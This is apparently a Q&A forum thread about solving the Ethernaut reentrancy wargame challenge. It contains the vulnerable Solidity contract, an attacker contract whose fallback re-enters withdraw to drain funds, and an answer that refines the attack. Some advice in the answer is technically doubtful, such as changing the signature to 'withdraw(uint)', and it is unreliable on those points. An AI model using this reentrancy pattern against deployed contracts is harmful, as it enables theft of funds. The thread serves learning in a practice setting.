Reentrancy attack implementation

214 Views Asked by At

I'm trying to solve the reentrancy attack ethernaut challenge. Here is the solidity code for the target contract:

pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

contract Reentrance {
  
    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }
 
    function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value:_amount}("");
        if(result) {
            _amount;
    }
        balances[msg.sender] -= _amount;
    }
}

    receive() external payable {}
}

My plan is to:

  1. Donate to the Reentrance contract from another contract.
  2. Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");

enough times to empty the Reentrance contract's balance while skipping the code underneath.

Here's what my contract looks like:

contract interactor{
    address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
    uint32 public i = 0;
    constructor() payable {}
    function calldonate(address _to,uint val) public payable
    {
        target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
    }
    function callwithdraw() public 
    {
        target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
    }
    fallback() external payable {
        i++;
        require(i<target.balance);
        msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
    }
}

After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1. I can't see what's wrong with my code (very new to Solidity). Any help would be appreciated.

1

There are 1 best solutions below

0
Yilmaz On

a few changes in your Interactor contract

1-

Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables

address public target;
    uint32 public i = 0;
    constructor(address _target) payable {
        target=_target;
    }

2- In calldonate function I added require for debuggin

     bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
    (bool success,)=target.call{value:val}(payload);
     // just for debugging purpose
    require(success,"target.call failed");

3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image

enter image description here

successfully sent 10 wei, balance is updated

4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback

fallback() external payable {
    i++;
    require(i<target.balance,"error here");
    // msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
    // target.call(abi.encodeWithSignature("withdraw(uint)",1));
    Reentrance(payable(target)).withdraw(1);
}

5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256

 function callwithdraw() public 
    {
        target.call(abi.encodeWithSignature("withdraw(uint)",1));
    }

6- call callwithdraw function. Because you have this logic inside fallback

    // when i=5, targetBalance would be 5
    i++;
    require(i<target.balance);

after you called it and check the balances you should see 5 left.

enter image description here